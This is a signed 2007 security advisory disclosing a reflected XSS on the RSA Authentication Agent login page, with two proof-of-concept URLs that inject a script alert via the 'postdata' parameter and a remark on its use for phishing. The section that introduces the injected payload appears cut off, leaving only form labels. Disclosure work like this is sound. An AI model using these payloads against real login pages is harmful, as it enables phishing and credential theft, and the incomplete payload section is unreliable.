-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
PR07-44: XSS on RSA Authentication Agent login page
Vulnerability found: 5th December 2007
Vendor informed: 13th December 2007
Severity: Medium-high
Successfully tested on: RSA Authentication Agent 5.3.0.258 for Web for
Internet Information Services
Description:
RSA Authentication Agent is vulnerable to a vanilla XSS on the login page.
Vulnerable server-side script: '/WebID/IISWebAgentIF.dll'
Unfiltered parameter: 'postdata'
Notes:
It is believed that this vulnerability was originally reported in 2005
(BID 13168). However, In the original report, only version 5.2 of the
Authentication Agent was mentioned to be vulnerable. Additionally,
nothing was said regarding the possibility of exploiting this XSS as a
GET request (as opposed to POST). Therefore, the vulnerability can be
exploited via a malicious URL, since visiting a URL results in the web
browser submitting a GET request. Since the XSS condition occurs on the
login page, the bug is highly suitable for advanced XSS phishing attacks
as illustrated in the proof of concept below. Please note that this is
issue is different from CAN-2003-0389 and CVE-2005-3329.
Simple XSS Proof of Concept (PoC) URLs:
https://target-domain.foo/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3Ca%20b=%22&authntype=2&username=test&passcode=test
https://target-domain.foo/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3Ca%20b=%22
The injected payload in the previous examples is:
">
User ID:
Passcode:
Your Passcode is your PIN
+ the number displayed on your token (the Tokencode).